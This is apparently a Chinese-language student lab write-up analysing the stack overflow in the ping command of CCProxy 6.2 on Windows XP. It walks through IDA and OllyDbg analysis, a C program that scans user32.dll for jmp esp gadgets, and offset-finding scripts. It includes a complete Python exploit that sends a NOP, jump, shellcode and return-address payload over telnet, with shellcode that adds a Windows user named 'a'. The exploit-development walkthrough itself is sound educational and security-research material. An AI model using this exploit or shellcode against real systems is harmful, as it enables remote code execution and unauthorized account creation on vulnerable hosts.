0X00 前言

最近看了点二进制的东西,正好学校里面有栈溢出的实验,就简单拿出来分析一下,CCPorxy 6.2 ,一个比较经典的 windows 下的栈溢出,因为是非常老的软件,而且我选择在 windows xp 中运行,因此这里并不涉及保护的问题,只是简单的分析一下。

0X01 先简单说一下溢出点

该软件双击运行以后,可以在本机 telnet 127.0.0.1 ,然后再去 ping 一个 ip 地址,我们的栈溢出的点就在这个 ping 后面的地址上

当我们 Ping 正常地址的时候,以及 ping 一个不存在的地址的时候的反应是不同的,如下图

此处输入图片的描述

当我们 ping 一个超长的(我这里选择的是 2000 个 A)不存在的地址的字符串的时候,程序会直接崩溃,如下图

此处输入图片的描述

说明程序在处理超长地址的时候出现了字符越界的问题,下面我们就用 IDA 静态分析一下

0X02 IDA 静态分析程序

首先等待 ida 将程序装载完整,为了快速定位我们首先打开 string 窗口,对我们可能的溢出点进行搜索,特征就是 “Host not found…” 这个字符串

此处输入图片的描述

进入以后我们查看这个函数的交叉引用,定位到调用函数的位置

此处输入图片的描述

此处输入图片的描述

我们使用 F5 看一下源码,可以看到,我们的主机传进去就是 name ,然后我们会将其赋值到 buf 的缓冲区空间,然后造成了溢出

此处输入图片的描述

我们回过头看一下这个函数的调用情况

此处输入图片的描述

仔细观察他的 ebp 和 esp 的入站情况我们发现,这个程序的设计是不同寻常的,因为,我们往往的函数调用约定是先 push ebp 然后 mov ebp,esp 的,但这里直接先把 esp 提了上去,而 ebp 的位置是由 ecx 决定的,ecx 在前面又经过了非常多的转化,这就让我们通过 ebp 作为基址产生了困难,而且我们也发现上面很多的寻址都是通过 esp 作为基址的,于是这里我们转而使用 esp 作为我们定位 buf 位置的基址

我们还是使用 F5 看一下 Buf 相对于esp 的偏移

此处输入图片的描述

可以看到是 esp+3Ch, 也就是 esp 下面 60 字节的位置,于是我们就很容易的计算出我们的溢出的偏移为 1012 字节。

有了偏移量,我们下一步要考虑的就是将我们的返回地址覆盖成什么,我的想法首先是覆盖成 shellcode 的地址,但是我们知道栈的空间是不确定的,我们没法确定栈每次都是在那个位置,于是我们还有一种经典的方式是将返回地址覆盖成 jmp esp 的地址,然后让其执行 jmp esp 这条指令。

0X02 jmp esp 地址的获取

jmp esp 可以看成是一个跳板,在很多程序自带的函数库中都有很多的 jmp esp 的地址,因为这是一个图形化程序,必然自带了 user32.dll ,于是我们可以写程序在 user32.dll 中寻找 Jmp esp 的地址,然后随机选择一个来覆盖我们的返回值

代码如下:

search_opcode.c

//FF E0        JMP EAX
//FF E1        JMP ECX
//FF E2        JMP EDX
//FF E3        JMP EBX
//FF E4        JMP ESP
//FF E5        JMP EBP
//FF E6        JMP ESI
//FF E7        JMP EDI

//FF D0        CALL EAX
//FF D1        CALL ECX
//FF D2        CALL EDX
//FF D3        CALL EBX
//FF D4        CALL ESP
//FF D5        CALL EBP
//FF D6        CALL ESI
//FF D7        CALL EDI


#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
    BYTE* ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;

    handle=LoadLibrary(DLL_NAME);

    if(!handle)
    {
        printf(" load dll erro !");
        exit(0);
    }

    ptr = (BYTE*)handle;

    for(position = 0; !done_flag; position++)
    {
        try
        {
            if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
            {
                //0xFFE4 is the opcode of jmp esp
                int address = (int)ptr + position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }
        catch(...)
        {
            int address = (int)ptr + position;
            printf("END OF 0x%x\n", address);
            done_flag = true;
        }
    }
}

通过这个程序的运行,我们能找到很多的 jmp esp 的地址,我这里选择的是最后一个

此处输入图片的描述

0X03 exp.py

接下来就是编写 shellcode ,并且构造我们的 exp 来实现执行命令的操作了

import socket
import os

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('192.168.43.35',23))  
s = sock.recv(4096)  

p =b'ping ' + b'\x90'*4                       
jmp = b'\xE9\x03\xFC\xFF\xFF\x90\x90\x90' # 这里最后会布置到 esp+0xC 的地址,跳转到我们上面的 shellcode      

shellcode= b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'  
junk = b'a'*920                    
jmpesp = b'\x79\x5b\xe3\x77'            #jump esp 的地址,是从user32.dll中获取的


p = p+jmp+shellcode+junk+jmpesp+b'\x90'*16       
sock.send(p)                        
sock.send(b'\n')

s = sock.recv(4096)
print(s)

0X04 OD 的动态调试

因为 exp 并不是我写的,我只是简单地修改了一下原始的 exp ,所以我还是要对其进行一些分析,于是我选择使用动态调试工具 OD ,在 exp 打入以后进行单步跟踪调试

首先在函数拷贝结束以后下断点,找到这个地址的方式是通过 ida 的静态分析获取的 sprintf 的地址,然后直接在 OD 中定位的

此处输入图片的描述

然后 F9 运行,然后直接打 exp ,然后运行到即将返回的时候的状态,如下图

此处输入图片的描述

首先我们要关注到 retn 0xC ,这说明在执行完这条指令的时候 esp 不只是会向高地址移动 4 字节,还会再继续向高地址移动 0xC 个字节,然后我们再来看右下角的栈区,我们发现此时 esp 移动后指向的是 0xFFFC03E9 ,这个刚好是我们 exp 中的 jmp 变量的值,并且这是一个负数,也就是一个相对的向低地址跳转的指令,也就是说虽然我们在 exp 中看似 jmp 在 shellcode 前面,但是实际上到了栈空间以后还是有所变化的

然后我们调到 jmp esp 的地址 ,执行 jmp esp

此处输入图片的描述

我们看到正如我们上面分析的,我们的 esp 已经跑到了 0xFFFC03E9 ,我们继续往下执行

此处输入图片的描述

此时相对地址已经被计算成为绝对地址,然后我们下一步就会跳转到我们的 shellcode

此处输入图片的描述

该条指令的作用就是想计算机中添加一个名为 a 的用户

此处输入图片的描述

0X05 补充分析

计算偏移除了之前使用的 用 ida 去计算以外,我们还能使用随机字符串定位法去计算,我们首先生成比如 2000 个随机字符

rand.py

import random

random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(5000):
    random_str += base_str[random.randint(0, length)]
print(random_str)

然后我们将其打入程序,使用 OD 单步调试直到返回地址,我们会看到返回地址被哪四个字符淹没了,然后我们再去整个字符串中找那四个字符的位置

find.py

ori_str1 = 'gR5Rv9PvGvlrNmaspHp8mBLNcfUGqDHM2k9x3I1NQGGABsV7e2MdkM2nuniiLOyaxv1Ex4q4KzE1tWbdEZO20ORtGSfPmu4GkYMVYLBUUhFq40Kzd1qgGCAxmt6BGgZiNnqXzFSSnG7waoE3KpqzDPCBNBB5v7gVvkfSrqZbubvizdGOsPxQ03Ia7TFCmVgwSUO89GHT27qu7SIZgVWgKgczEK6KDU046QnD3nLSULblzfFsz1BZBMv997zwnAxnCwGsrmcHYlhBaGNuXIlwqho93bgfBxbcXaHTD5zCsdhqIfC4KNYNtCCW10gYCcQUr1v16mrGlS8GUm0m5TUH0gZ5SxRZsSNd2BKqFTS3mwhBfUGmVsGBWWUVWSu1z8nTomyb5FCzAce2cEi8bpGgktoqQBxoKvGhdCflGU8esLkNlYbHRA8liCFNhD6kFAPk2ZEXMX5hkmcbIXYNWicv68mPgd2qlyO8hopvwEUIoR2VD5cOuvBxNmgwPCGuZVhFFgiQKdSp6eKFxZwIG1SopkSymsyKbxZOhosl0AEbE51GzGOR4CIhOYcCID5O8gdDlALzkdouQtml1QtmxwdIYalG6SeDqwhwF28OQAqUHolGwVVyv9a7F9l8K0L1PlhOB1ugI1mWPkXW8W45I1KupIElkc1wcwAXIZi6gza3DZUKfZHGvtizYGB9IIwc6E0gMkYTMKxDzOsfQX9TL4qgHbKdBBeGmPRIYZaZTpZBQI8Nr7kHp2Fff7vLSx4dVSFXzGHDB2SxtLpGsFk8pggmpbOHqyMshN7XenK9dIk880E7vAQz6Cxk80AIk7o6IoP3RbPFRtHGG1ZRcEWsLM6gY2nOGHVDSxQO7pxR54FR9iUDkplTx1AgQYygEPRYoHxgDSvhA3V26zRqGcsvb6B17cgLdbiWB3eLeoqYoq2fU78N9ZcKixhLNLLLhS3Zt84vHs6ZRloivT9akEZGzK4k3A2btMiCRh24oKfhS0DVnCy5Dhede0AGaBZ0aQqsg2vQlhncOqA9bP0WG7bQIu62pr9gK663uriuAMbh4m55bEu6XPMPGLRrs0NxV1Rg4CqUHorumwTlGHXGTxfG30Ur4leMMWbwlK3mrfbZWghppPcmX5GtERC4Pfdo0x1HzFAivBGiBO6Eypqf268XX30ZDEh21P6wDqXg2pUGaxKGGABLQoChdpsr5s2StqOoOWGCv5X7l1E7ki8eQM9rXQREkmaRMyqgbXhAPL9benP4cAGWZTcPv817Ggvt9XRy83gsCy5AbFal5DNO7M4LgFNSS4NSmzSzfzCiBkB9ZVyNlrPymoo9vuUpcSDABqPb61ZT3ZfeLdo2vrNRZl9RTRaeZ8zRqwmg1TOURLAzx5KG0dCA63XRP4Z54miZnbKqlo9tg8Blq8MAghHsIGttIDm0fPggngXDFMxEh7LECwfgvIVaGooMLNEKnRxLECDfLUwgqq2A1b0zuRVkH5n8Ga646f6FSoBXc0zG2sR8qZVtMCGcM9lbys2Q9mEnAOwuXMTqZDkpFMYNczLiQQ6ccaVtMNrCSpPtlPqXe9iQo342IXr166RuOOFn9sGDUEDBTsxgg9TDBgQLHAUc5brY9TNa9HeskwgEIMRobftxrDXvwgBbWAIQXS4sRH8IfBK9Uo1PSm7EixmYFGPdwftdbma3CHfgVU0DfK25APdffOGdzDQUMWIVuLRf8gnHdaoO3SNrbIFX1axUu6CG2znGYZCEh0hgN5upVxVP8WxLRhnLNIHbQZyVLW23p6BSKQCgQGMF59EGo5V3ELvVL6ARIMTP2dC7tngVh3pvZGtYLLwOaH8olNCc7TmbExbO36RKeT9GQaIoCRcDrhWnZik7AALPMGDqBKHIpI4RScVG2xAiy8tdk5G5SzFWo6DLDKv6z31Il9udm63g9gdHbEanBlCgOhis6HzdUKgX2oIk329isXsOmGLqQPb84eNYBc8oDOsu8yF1DoU16chGgS7T'

find_str = 'aBZ0'

print(ori_str1.find(find_str))

也可以算出来是 1012 字节

0X06 总结

这个程序被奉为是比较经典的 windows 栈溢出实例,仔细分析以后能比较好的理解栈溢出的全过程,至于 shellcode 的书写,我们当然也可以用汇编自己写,然后使用 OD 导出来字节码,但是由于这个程序有一些奇怪的机制,使得 opcode 的写入顺序和实际顺序不太一样,就比较难写,我猜测可能是内部做了什么保护机制?不太明白,还需要继续努力。